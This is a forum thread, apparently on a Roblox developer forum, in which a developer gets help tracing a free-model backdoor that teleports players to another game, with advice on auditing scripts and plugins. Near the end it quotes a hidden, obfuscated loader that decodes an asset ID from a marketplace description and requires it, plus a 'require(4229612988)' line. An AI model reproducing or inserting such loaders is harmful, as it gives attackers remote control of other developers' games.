You do have a point, the guy in the video you linked does have premium, which would mean that he’d see no external ads on Roblox to begin with.
I believe this guy might be targeting games just because he wants to get the visits, though the real answer is not obvious.
The most common ways these sorts of scrips appear in your game is by free models. Make sure you have properly looked through every free model script you have. Use Ctrl + F to use the script search feature to make searching easier.
Make sure you check through your plugins and if any plugin look suspicious remove it. When installing plugins it is best to only install plugins made by trusted developers. Plugins can edit the source code of scrips and insert things without you knowing.
Lastly have you checked through all the areas of your game like CoreGui because this is a common place to store these sorts of scripts. Use the search feature in your explorer widget to search through all the areas of your game for scrips.
Common things to look for in scrips:
require - Sometimes scrips use require to insert ModuleScrips into your game. Make sure there is no script requiring a ModuleScrip by an id you don’t recognise.
TeleportService - If you have anything that uses this service check if it is teleporting people to the other game.
InsertService - Scrips can use this service to insert assets from Roblox into your game. This means scrips could use this service to insert free model scripts into your game at runtime.
I wouldn’t get worried about this issue because I am extremely doubtful this issue hasn’t been caused by any malware. Issues like this are nearly always caused by inserting free models or using suspicious plugins.
I wouldn’t contact Roblox support because I am very doubtful they will be able to give you any more information that what you already know. You know exactly how your game works and know what you have and haven’t inserted but Roblox staff don’t.
Hey!
So, I have checked through every single script that is in my game by filtering with the search bar. The only plugin I have is Ro-Defender which was recommended to me by one of the comments on this topic.
I decided to go through all my scripts using this thinking that maybe something will pop out but still no sign of anything.
I do not have a CoreGui so I am guessing that when I filter the scripts with the Search Bar at the top, it will show all of them.
I appreciate your help.
You can make it so you can see CoreGui and a few other things in your explorer window by going to File > Settings > Studio > Scroll down until you see a drop down menu called explorer:
Try doing this, may seem somewhat overkill:
Remove all your plugins, even trusted.
Navigate to the following tab:
Set all to false then close roblox completely, re-open.
Open up a script then navigate to the SCRIPT MENU tab, then select find, select find all and enter the redirect PlaceId or more reliably any request for TeleportService. Remove such scripts, Then publish the update:

If this fixes the issue, slowely start readding these plugins and settings checking each time.
And, good luck.
What do you mean by this? There is no script menu tab that I can find.
You need to open a script for it to pop up.
Open all scripts I suggest which are in free models and there must be a script with only “require(Number)”
Delete that script and you won’t TP anymore.
Disable the plugins and enable them again. Delete any suspicious ones
I have no plugins so yeah.
The only one I had was Ro-Defender which I ended up deleting but it still teleports me over there.
There is this line in one of the free models scripts:
Funny=require(4229612988).Funny
Is this maybe it?
Yes it is. Delete it and then test join it again.
I deleted it and I tested the game, it still leads me to the creepy game.
Any other ideas?
I might have a idea, Delete every free model one by one and always test.(It can take a long time)
And if it don’t lead you anymore to the game you could know which model makes the exploit.
In my earlier reply I said a few things you should look for:
Make sure you go through every script in your game even the non free model scripts and look for these things. If anything jumps out at you and looks suspicious delete it because it could be the cause to your problem.
You could try doing a play test in studio and look through everything then because the virus scrips could be getting inserted at runtime. If you do find the script while in in the play test you may get more of an idea of what is causing your problem.
If you still can’t find the cause to your problem then I would slowly go through and delete every free model you have in your game. If you still can’t find the cause to your problem then I would think about slowly moving all your assets in your game to another game, while checking each asset as you go for viruses.
Is it a creepy game with a forest? If so do you have any admin commands?
Try doing Ctrl + Shift + F, this will search through every script automatically. Try searching for phrases such as: “require”, “teleport”, “getfenv”, “http” and “loadstring”.
You can see the game with the link in the topic.
Is this line suspicous?:
end if not game:service’RunService’:IsStudio()then local a,b=‘’,{Q=0,L=1,G=2,R=3,B=4,M=5,N=6,C=7,X=8,Z=9}local function c(d)local e=‘‘for f in d:gmatch(’%a’)do e=e…b[f]end return tonumber(e)end repeat pcall(function()local z=game:service’MarketplaceService’:GetProductInfo(4436518099).Description if z~=a then pcall(require,c(z:sub(52)))a=z end end)wait(5)until nil end function weld()
local parts,last = {}, nil